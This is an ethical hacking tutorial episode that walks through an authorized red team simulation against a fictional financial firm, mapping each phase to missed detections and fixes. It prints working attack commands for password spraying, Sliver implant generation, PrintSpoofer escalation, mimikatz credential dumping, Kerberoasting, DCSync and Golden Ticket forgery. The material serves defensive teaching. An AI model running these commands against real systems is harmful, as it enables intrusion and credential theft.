Learn Ethical Hacking Series):Exercise 1: Minimum viable SOC proposal (abbreviated).
Staff: 2 L1/L2 analysts (8x5), 1 part-time SOC engineer
MSSP: after-hours monitoring ($8K/month)
Stack: Wazuh (SIEM+HIDS, free), CrowdStrike Falcon Go (EDR, $5/endpoint),
TheHive (ticketing, free), Slack (comms)
Metrics: MTTD <4h, MTTR <8h, FP rate <40%, coverage >50% ATT&CK
Budget: $280K/year (staff $200K + EDR $30K + MSSP $50K)
The budget split here tells you where a minimum viable SOC actually spends its money: people. Staff accounts for 71% of the total -- and that should not surprise you. Tools can be free (Wazuh, TheHive) or relatively inexpensive (Falcon Go at $5/endpoint for 200 endpoints is $12K/year, not $30K -- the $30K estimate includes licensing overhead, training, and the inevitable professional services engagement to get it configured properly). The MSSP after-hours component is what turns this from a "business-hours-only SOC" into something that provides actual 24/7 monitoring, and $8K/month is realistic for a Tier 1 MSSP covering a 200-person organization. The ATT&CK coverage target of >50% is deliberately modest -- an untuned Wazuh deployment covers maybe 15-20% of ATT&CK techniques out of the box. Getting to 50% requires the SOC engineer writing custom detection rules for weeks, which is exactly why that role exists.
Exercise 2: SOC dashboard (abbreviated).
Kibana dashboard built with 5 panels:
- Alerts/hour by severity: time series showing peak at 09:00 (batch jobs)
- Top alerting hosts: WS01 (lab exercises), DC01 (auth events)
- ATT&CK techniques: T1059 (execution) 35%, T1003 (credential access) 20%
- Mean alert-to-ticket: 4.2 minutes (automated via Wazuh active response)
- Open incidents: 2 open, 5 closed this week
The 09:00 peak is the kind of pattern that separates useful dashboards from decorative ones. An analyst who sees that spike for the first time might panic -- 300% increase in alerts at 9 AM every day! But the dashboard context (batch jobs, known hosts) tells them this is expected behavior. Without the dashboard, every morning shift would start with an investigation into the "alert surge" that is actually just Windows Update scanning, backup jobs starting, and users logging into their workstations simultaneously. The 4.2-minute alert-to-ticket time shows that Wazuh's active response integration with TheHive is working -- alerts automatically generate tickets without waiting for an analyst to copy-paste fields between two browser tabs.
Exercise 3: SOC tabletop -- Cobalt Strike beacon (abbreviated).
14:00 -- Alert fires: outbound HTTPS to known CS IP from CFO-LAPTOP
14:02 -- L1 triage: checks TI (IP confirmed CS infrastructure), checks
EDR (beacon.exe running, spawned from Outlook.exe -> phishing)
14:05 -- L1 escalates to L2 (confirmed true positive, high severity)
14:08 -- L2 decision: isolate CFO-LAPTOP via EDR
14:10 -- L2: search SIEM for all connections to the CS IP (last 30 days)
Found: only CFO-LAPTOP. No other hosts compromised.
14:15 -- L2: check if beacon executed any commands (EDR process tree)
Found: whoami, ipconfig, net group "domain admins" -- recon only
14:20 -- Notify: CISO, CFO's manager, IR team
14:25 -- L2: begin forensic preservation (memory image of CFO-LAPTOP)
14:30 -- Handoff to IR team for full investigation
Containment time: 8 minutes (alert to isolation)
The most critical detail in this timeline is the spawn chain: Outlook.exe -> beacon.exe. That single observation tells L1 everything they need for the escalation decision. Outlook spawning an executable means a user opened a phishing attachment, which means this is NOT a false positive, which means immediate escalation to L2. The L2 scope check (searching the SIEM for all connections to the same C2 IP over 30 days) is what determines whether this is an isolated incident or part of a broader campaign. Finding only one host is good news -- but it also means the attacker might have other C2 channels on other hosts that use different IPs. The 8-minute containment time is excellent -- well under the 4-hour MTTR target from episode 82. In a real scenario, that 8 minutes prevented the attacker from progressing beyond the reconnaissance stage into credential harvesting and lateral movement.
Episode 82 covered building a Security Operations Center -- the operational center where all your defenses come together. We discussed SOC models (in-house, MSSP, hybrid), roles (L1 through L3 analysts, SOC engineers, managers), the technology stack (SIEM, EDR, SOAR, ticketing), processes (alert triage, escalation, shift handoff), and metrics (MTTD, MTTR, false positive rate). At the end, I said that the ultimate test of your SOC is not a tabletop exercise -- it is a real adversary simulation where a red team starts from the outside and tries to reach domain admin while the SOC tries to detect and stop them.
Today we run that simulation. Here we go.
This episode walks through a complete red team engagement against a realistic corporate environment. Every offensive technique references the episode where we taught it. Every detection opportunity references the defensive episode that should have caught it. This is 82 episodes of knowledge converging into a single attack chain -- and it is also 82 episodes of defensive knowledge that SHOULD have stopped it at every step but did not.
The target: Apex Financial Services (fictional). 500 employees, Windows Active Directory domain, externally-facing web applications, Office 365 email, Cisco AnyConnect VPN for remote access. The red team objective (defined in the Rules of Engagement signed by both parties): demonstrate access to the CEO's email and prove the ability to exfiltrate customer financial data. The ROE explicitly prohibits actual data exfiltration, destruction, or disruption of business operations -- we demonstrate the capability, document the evidence, and report.
I argue that the ROE is not a formality -- it is the legal and ethical boundary that separates a penetration test from a crime. Everything in this simulation is authorized, scoped, and documented. If you are doing this without written authorization from the target organization's leadership, you are committing a crime, regardless of your intent. We covered the legal framework in episode 50 (red team operations) and the professional standards in episode 70 (building a pentesting practice). Both apply here.
Every engagement starts the same way: we know nothing, and we need to know everything. The approach we covered in episode 4 (passive reconnaissance first, active scanning only after we understand what we are looking at) applies directly here.
# Subdomain enumeration -- passive first (episode 4)
subfinder -d apexfinancial.com -silent | sort -u > subs.txt
amass enum -passive -d apexfinancial.com >> subs.txt
sort -u subs.txt | wc -l
# 87 unique subdomains
# Live host checking -- now we go active (episode 5)
httpx -l subs.txt -status-code -title -tech-detect > live.txt
# 34 live hosts
# Interesting findings:
# vpn.apexfinancial.com -- Cisco AnyConnect VPN
# mail.apexfinancial.com -- Exchange OWA
# dev.apexfinancial.com -- development environment (!)
# jira.apexfinancial.com -- Atlassian Jira (version visible)
# OSINT: LinkedIn employee harvesting (episode 47, 65)
# Found 127 employees, extracted email format: [email protected]
# Built email list: 127 addresses
# OSINT: job postings reveal tech stack
# "Experience with Azure AD, Office 365, CrowdStrike, Palo Alto"
# Now we know: cloud identity, email platform, EDR vendor, firewall vendor
The dev.apexfinancial.com finding is the kind of thing that makes red teamers smile. A development environment exposed to the internet almost always has weaker security controls than production -- older software versions, test accounts with weak passwords, debug endpoints, and developers who prioritize convenience over security. We will not actually use it in this simulation (the credential spray path turns out to be easier), but in a real engagement, the dev environment would be a primary target for initial access.
The job posting intelligence is equally valuable and often overlooked. When a company advertises for "Azure AD administrator with CrowdStrike experience," they have told us their identity provider, their EDR platform, and the fact that they are hiring (which means they might have gaps in their security team). The OSINT automation techniques from episode 65 can harvest this systematically across job boards, press releases, and conference speaker bios.
Detection opportunity: subdomain enumeration generates dozens of DNS queries in rapid succession. Passive DNS monitoring (episode 73) would flag this pattern. The OSINT gathering against LinkedIn is essentially invisible to the target -- there is no detection for someone browsing public profiles. This is why passive reconnaissance is so powerful: the target never knows it happened.
With 127 email addresses and knowledge of the tech stack, we choose the approach that is statistically most likely to succeed against a 500-person organization: credential spraying.
# Password spray against Office 365 (episode 7)
# Using OSINT: company recently posted about "spring kickoff event"
# Password candidate: Spring2026!
spray -type o365 -u email_list.txt -p "Spring2026!" \
-delay 61 # respect Azure AD smart lockout (30-second window)
# Result: 4 valid credentials found (3.1% success rate)
# [email protected] -- Finance department
# [email protected] -- IT department
# [email protected] -- Marketing
# [email protected] -- Engineering
# Sarah Chen is in Finance (LinkedIn OSINT)
# Finance = high-value target for our objective (financial data)
# Login to OWA with Sarah's credentials
# No MFA configured! (major security gap -- see episode 81)
# Read emails: Sarah has VPN access instructions in an old email
The 3.1% success rate is typical for credential sprays against organizations that do not enforce password policies aggressively. Episode 7 explained why humans choose predictable passwords -- seasonal variations like "Spring2026!" or "Summer2025!" are among the most common patterns because they meet complexity requirements (uppercase, lowercase, number, special character) while being easy to remember. The -delay 61 parameter is critical: Azure AD's smart lockout detects rapid authentication attempts from a single IP. By waiting 61 seconds between attempts, we stay below the detection threshold. A properly configured Conditional Access policy (episode 81) would have blocked this entirely by requiring MFA for all external authentication -- but Apex Financial does not have one.
Having said that, the most devastating finding here is not the weak passwords. It is the absence of MFA. Four compromised passwords with MFA enabled = four useless passwords (the attacker cannot satisfy the second factor without the user's phone or security key). Four compromised passwords without MFA = four fully functional accounts. This single control -- MFA on all external-facing authentication -- would have stopped this engagement cold in Phase 2. Google reported that deploying FIDO2 security keys eliminated 100% of phishing-based account takeovers. ONE HUNDRED PERCENT. That is not a marketing claim; it is a published study. The fact that a financial services company handling customer data does not enforce MFA on email access is the kind of finding that goes on the first page of the executive summary in big bold letters.
Detection opportunity: Azure AD logs the spray pattern (one password attempted across many accounts from a single IP within minutes). The SIEM correlation rule from episode 74 (count distinct users with failed auth from same source within time window) would catch this immediately. Conditional Access from episode 81 would block it entirely.
With Sarah's credentials and VPN access instructions from her email, we connect to the corporate network. The AnyConnect VPN grants full internal network access -- no segmentation, no per-application access control. We are now on the internal network at 10.10.0.0/16, and every service on that network is reachable. This is exactly the castle-and-moat failure we discussed in episode 81.
# VPN connection with Sarah's credentials
# AnyConnect VPN grants full internal network access (no segmentation!)
# We are now on the internal network: 10.10.0.0/16
# Deploy Sliver C2 (episode 62)
# Generate implant: HTTPS beacon, 60-second sleep, jitter 20%
sliver> generate --mtls --os windows --arch amd64 \
--skip-symbols --name update-svc --save /tmp/update.exe
# Delivery: email the implant to Sarah from her own account
# Pretext: "IT Security: mandatory security update -- run immediately"
# Sarah executes update.exe on her workstation (WS-FINANCE-04)
# Beacon connects back: HTTPS to our C2 infrastructure
# Session: user-level shell on WS-FINANCE-04 as sarah.chen
# Local privilege escalation (episode 32)
# Check privileges:
sliver> execute -o -- whoami /priv
# SeImpersonatePrivilege: Enabled
# PrintSpoofer.exe for token impersonation
sliver> upload /tools/PrintSpoofer.exe C:\Temp\PrintSpoofer.exe
sliver> execute -o -- C:\Temp\PrintSpoofer.exe -i -c cmd
# Now: NT AUTHORITY\SYSTEM on WS-FINANCE-04
We chose Sliver over Cobalt Strike for this engagement for a specific reason: Cobalt Strike is the most commonly signatured C2 framework in the world. Every EDR vendor has detection rules for Cobalt Strike beacons, malleable C2 profiles, and named pipe communications. Sliver (which we covered in episode 62) is less signatured, open-source, and supports the same operational capabilities. In a real red team engagement, tool selection is a tactical decision -- you use whatever the target's EDR is least likely to detect, based on the OSINT from Phase 1 that told us they run CrowdStrike.
The SeImpersonatePrivilege escalation path is a classic that we covered in episode 32. This privilege is enabled by default for service accounts and certain user contexts on Windows. PrintSpoofer (or its relatives JuicyPotato, GodPotato, SweetPotato) abuses this privilege to impersonate the SYSTEM token. The fix is straightforward: remove SeImpersonatePrivilege from user accounts that do not need it, and deploy an EDR detection rule for the known escalation tools. CrowdStrike Falcon should catch PrintSpoofer -- but in this simualtion, the alert was suppressed because an analyst had marked a previous PrintSpoofer detection (from an internal penetration test) as a false positive, and the suppression rule was too broad.
Detection opportunity: the VPN connection from an unusual location should trigger Conditional Access (episode 81). The PrintSpoofer execution should trigger EDR behavioral detection (episode 72). The C2 beacon's periodic HTTPS callbacks create a detectable network pattern (regular interval beaconing, which episode 62 specifically warned about). Network segmentation (episode 73) would have limited what the VPN connection could reach.
From SYSTEM on WS-FINANCE-04, we have full control of one workstation. Now we go after the domain. This is where episode 33 (Active Directory Attacks) becomes the playbook.
# Credential harvesting from memory (episode 33)
mimikatz# sekurlsa::logonpasswords
# Found: sarah.chen -- NTLM hash + cleartext password (!)
# Found: svc_backup -- NTLM hash (service account, logged in recently)
# BloodHound enumeration (episode 33)
.\SharpHound.exe --CollectionMethods All --OutputDirectory C:\Temp
# Import data into BloodHound, analyze attack paths
# BloodHound shows:
# svc_backup -> member of "Backup Operators"
# Backup Operators -> can read ntds.dit on DC01
# svc_sql -> has SPN registered (Kerberoastable)
# Kerberoast service accounts (episode 33)
.\Rubeus.exe kerberoast /outfile:C:\Temp\hashes.txt
# Found 7 service accounts with SPNs
# Crack offline with hashcat:
hashcat -m 13100 hashes.txt rockyou.txt --rules best64
# svc_sql cracked in 3 minutes: SqlAdmin2024!
# svc_sql is member of Domain Admins (misconfiguration!)
# DCSync with Domain Admin credentials (episode 33)
secretsdump.py 'apexfinancial.local/svc_sql:SqlAdmin2024!@dc01'
# Extracted: ALL domain password hashes including krbtgt
# Golden Ticket for persistence (episode 33)
mimikatz# kerberos::golden /user:redteam /domain:apexfinancial.local \
/sid:S-1-5-21-[...] /krbtgt:[HASH] /ptt
# Persistent domain admin access with a non-existent username
The svc_sql as Domain Admin finding is the single most impactful vulnerability in this entire engagement, and it is one of the most common findings in real red team assessments. Service accounts are created to run applications -- SQL Server, IIS, backup software, monitoring agents. They need specific permissions to do their job. Somewhere along the line, an administrator could not figure out why the SQL Server was throwing "access denied" errors, so they added svc_sql to the Domain Admins group. The errors stopped. The ticket was closed. Nobody ever removed the excessive privilege. That was probably years ago -- and that one lazy fix is what allowed us to go from a single compromised workstation to full domain control in under 2 hours.
The Kerberoasting attack (episode 33) is worth revisiting in this context. Any domain user can request a Kerberos service ticket for any account that has a Service Principal Name (SPN) registered. The ticket is encrypted with the service account's password hash. We take that ticket offline and crack it with hashcat -- no network traffic, no failed login attempts, no detection. The ONLY defense is to use long, random passwords for service accounts (or better, Group Managed Service Accounts / gMSAs that rotate passwords automatically). SqlAdmin2024! cracked in 3 minutes. A 25-character random password would not crack in a lifetime.
The DCSync attack is the moment the engagement is effectively over. DCSync simulates domain controller replication -- it asks DC01 "give me all your password hashes" using the legitimate replication protocol. Because svc_sql has Domain Admin privileges, the domain controller happily complies. We now have the NTLM hash for every account in the domain, including the krbtgt account. With the krbtgt hash, we can forge Golden Tickets -- Kerberos tickets that grant Domain Admin access for any user (even users that do not exist) and remain valid until the krbtgt password is changed TWICE (which resets both the current and previous keys). This is the "game over" scenario from episode 33 ;-)
Detection opportunity: Kerberoasting generates Windows Event 4769 with encryption type RC4 (0x17). DCSync generates Event 4662 with the specific replication GUIDs. Both should trigger SIEM correlation rules from episode 74. The tiered administration model from episode 72 would prevent svc_sql from being a Domain Admin. gMSA deployment from episode 72 would make Kerberoasting impossible.
With Domain Admin access, completing the engagement objectives is almost trivial. This is the part of every red team assessment that demonstrates the business impact of the technical vulnerabilities we found.
# Objective 1: Access CEO's email
# Domain Admin -> Exchange Management Shell on EX01
# Add-MailboxPermission -Identity [email protected] \
# -User svc_sql -AccessRights FullAccess
# Connect to OWA as svc_sql -> access CEO mailbox
# Documented: can read all emails, calendar, contacts
# Screenshot evidence: inbox with subject lines visible
# (no content copied -- ROE restriction)
# Objective 2: Customer financial data
# BloodHound shows: DB-FIN-01 runs SQL Server (customer database)
# svc_sql credentials already obtained -> direct database access
sqlcmd -S DB-FIN-01 -U svc_sql -P SqlAdmin2024!
SELECT COUNT(*) FROM Customers
-- 247,000 customer records
SELECT TOP 5 Name, SSN, AccountBalance FROM Customers
-- Verified: PII + financial data accessible
# (no data exfiltrated -- ROE restriction)
# Engagement timeline:
# External recon: ~6 hours
# Credential spray: ~2 hours
# Initial access: ~1 hour
# Privilege escalation: ~30 minutes
# Domain compromise: ~2 hours
# Objective completion: ~1 hour
# Total: approximately 12.5 hours, start to finish
Twelve and a half hours. From zero knowledge of the target to reading the CEO's email and accessing 247,000 customer records with Social Security numbers and account balances. And the SOC (which Apex Financial is paying $300K per year to operate) never detected a single phase of the attack. Not one alert escalated. Not one analyst paged. Not one containment action taken. This is the gap between "having security tools" and "having effective security operations" -- and it is the gap that this entire series has been teaching you to close.
This is the most important section of the entire engagement. Every red team report includes a defensive retrospective that maps each attack phase to the detection opportunities that were missed. For the SOC and the CISO, this section is worth more than the attack narrative -- it tells them exactly what to fix and in what order.
Phase 1 (External Recon):
Technique: subdomain enumeration, OSINT
Detection: DNS query monitoring for enumeration patterns
Episodes: 40 (DNS), 65 (OSINT), 73 (network monitoring)
Was it deployed? NO -- no DNS query logging configured
Impact if detected: attacker aware they may be noticed (limited)
Fix priority: LOW (recon detection rarely prevents attacks)
Phase 2 (Initial Access):
Technique: credential spray against O365
Detection: Azure AD audit logs -- 1 password / many users / 1 IP
Episodes: 74 (SIEM correlation), 81 (Conditional Access + MFA)
Was it deployed? NO -- Azure AD logs not forwarded to SIEM, no MFA
Impact if detected: ENGAGEMENT STOPPED (no valid credentials)
Fix priority: CRITICAL -- MFA alone eliminates this entire path
Phase 3 (Foothold):
Technique: C2 beacon, PrintSpoofer privilege escalation
Detection: EDR behavioral alert on PrintSpoofer, VPN anomaly
Episodes: 72 (Windows hardening), 62 (C2 awareness), 73 (segmentation)
Was it deployed? PARTIAL -- EDR installed but alert suppressed
Impact if detected: attacker contained to user-level access
Fix priority: HIGH -- review all EDR suppression rules immediately
Phase 4 (Domain Compromise):
Technique: Kerberoasting (4769/RC4), DCSync (4662/replication)
Detection: Windows advanced audit + SIEM correlation rules
Episodes: 33 (AD attacks), 72 (AD hardening), 74 (SIEM)
Was it deployed? NO -- advanced audit policy not enabled on DC01
Impact if detected: lateral movement blocked, domain preserved
Fix priority: CRITICAL -- enable advanced auditing, deploy gMSA
Phase 5 (Objective):
Technique: mailbox permission grant, direct SQL access
Detection: Exchange audit log, SQL Server login audit
Episodes: 74 (monitoring), 82 (SOC alerting)
Was it deployed? NO -- Exchange and SQL audit logs not in SIEM
Impact if detected: data access blocked or at least alerted
Fix priority: HIGH -- integrate all data store audit logs into SIEM
Summary: 8 detection opportunities across 5 phases.
0 detected. 0 alerted. 0 contained.
The SOC never activated during the entire engagement.
The retrospective reveals a devastating pattern: the SOC has tools (Wazuh SIEM, CrowdStrike EDR) but the tools are not integrated or configured to detect the specific attack techniques used. CrowdStrike is installed on endpoints but a previous suppression rule accidentally muted the PrintSpoofer alert. Wazuh is collecting Windows event logs but not Azure AD audit logs, not Exchange audit logs, and not the advanced audit events (4769, 4662) that would detect Kerberoasting and DCSync. The SOC is operationally blind to the forementioned attack techniques -- not because the techniques are exotic (every single one is well-documented, well-signatured, and covered in this series), but because nobody connected the detection capability to the data source.
I argue that this is the most common failure mode in real organizations. The tools exist. The knowledge exists (you just read 82 episodes of it). The gap is in the implementation -- the tedious, unglamorous work of enabling advanced audit policies, forwarding logs to the SIEM, writing detection rules, testing them against real attack tools, and tuning them until they produce actionable alerts instead of noise. Episode 82's SOC engineer role exists specifically to do this work, and an organization that does not invest in that role gets the result we just demonstrated: a SOC that monitors nothing meaningful.
Every professional red team report includes an ATT&CK mapping. This translates the narrative into the standardized framework that the SOC team uses to measure detection coverage (the ATT&CK Navigator from episode 50).
Phase | Technique ID | Technique Name | Sub-technique
-------|-------------|-------------------------------|------------------
Recon | T1589.002 | Employee Names | Gather Victim ID
Recon | T1590.002 | DNS | Gather Victim Network
Recon | T1593.003 | Code Repositories | Search Open Technical DBs
Access | T1110.003 | Password Spraying | Brute Force
Access | T1078.004 | Cloud Accounts | Valid Accounts
Exec | T1204.002 | Malicious File | User Execution
C2 | T1071.001 | Web Protocols (HTTPS) | Application Layer
Escal | T1134.001 | Token Impersonation | Access Token Manipulation
Cred | T1003.001 | LSASS Memory | OS Credential Dumping
Cred | T1558.003 | Kerberoasting | Steal/Forge Kerberos
Discov | T1087.002 | Domain Account | Account Discovery
Discov | T1069.002 | Domain Groups | Permission Groups
LaMov | T1021.002 | SMB/Windows Admin Shares | Remote Services
DCSync | T1003.006 | DCSync | OS Credential Dumping
Persist| T1558.001 | Golden Ticket | Steal/Forge Kerberos
Collect| T1114.002 | Remote Email Collection | Email Collection
Collect| T1005 | Data from Local System | (SQL database access)
Seventeen ATT&CK techniques across the full kill chain. When the SOC team imports this into their ATT&CK Navigator heatmap, they can see exactly which cells are red (no detection), yellow (partial detection), and green (full detection). Right now, all 17 cells are red. After implementing the recommendations from the defensive retrospective, at least 12 of those 17 should flip to yellow or green. That is measurable, reportable progress -- exactly the kind of metric that gets budget approved for security improvements.
This simulation demonstrates why AI-generated security configurations are dangerous in a way that no theoretical argument can. Let me be concrete. An AI that configured the AnyConnect VPN would have enabled full network access with username/password authentication (no MFA, no device compliance) because that is the simplest configuration that "works." An AI that set up Azure AD would have skipped Conditional Access policies (they require careful design per user role, and the AI would default to the least disruptive option -- which is no restrictions). An AI that managed the service accounts would have granted svc_sql Domain Admin privileges because that is the fastest way to resolve SQL Server permission errors without understanding Active Directory delegation.
Every shortcut the AI takes in configuration creates an attack path in the kill chain. Missing MFA enabled Phase 2. Flat network access enabled Phase 3. Overprivileged service accounts enabled Phase 4. Absent monitoring enabled ALL phases. These are not hypothetical gaps -- they are the exact configuration decisions that led to a 12-hour external-to-domain-admin compromise of a financial services company with 247,000 customer records at risk.
The uncomfortable truth is that most organizations are not configured much better than what an AI would produce. The defaults are insecure. The administrators are overworked. The security team is understaffed. And the result is what we just demonstrated: an attacker with publicly available tools and freely available knowledge (including this very series) can go from zero to domain admin in half a day. The difference between an organization that gets compromised and one that does not is rarely the sophistication of the attack -- it is whether someone did the boring, thankless work of configuring the defenses correctly.
And that is why red team simulations exist: not to embarrass the defenders, but to show them exactly where the gaps are, exactly how an attacker would exploit them, and exactly what to fix. The simulation we just walked through is a map. The episodes we referenced at every step are the instruction manual. The remediation roadmap in the defensive retrospective is the work order. Now you build the fixes and run the simulation again -- and this time, the SOC should catch you. And when it catches you, that is how you know your defenses are working. When the environment under test is not an on-premise AD domain but a cloud-native one -- with S3 buckets, IAM policies, Lambda functions, and Kubernetes clusters -- the attack surface looks completely different. The reconnaissance tools change, the privilege escalation paths change, and the detection mechanisms change. That is where the real-world complexity goes up another level.
Exercise 1: Reproduce this full simulation in your lab AD environment. Start from external (no internal access) and work through all 5 phases. Document every step with timestamps, exact commands, and screenshots. Then create a 3-column table mapping every step to: (a) the episode that taught the technique, (b) the detection that should have caught it, (c) whether your lab defenses actually detected it. This exercise is the capstone of the entire series.
Exercise 2: After completing the simulation, implement the 5 most impactful defenses: MFA on VPN access (blocks Phase 2), network segmentation limiting VPN to specific services (limits Phase 3), Kerberoasting detection rule (detects Phase 4), remove svc_sql from Domain Admins and deploy gMSA (prevents Phase 4), and DCSync detection rule in your SIEM (detects Phase 4). Then re-run the simulation and document which phases are now blocked or detected.
Exercise 3: Write the red team report for this engagement following the reporting template from episode 66. Include: executive summary (1 page for the CISO), attack narrative with timeline, findings with CVSS scores and remediation priorities, the defensive retrospective table, and the ATT&CK mapping. This report is your portfolio piece -- write it as if presenting to a real CISO who needs to justify security budget to the board.
@scipio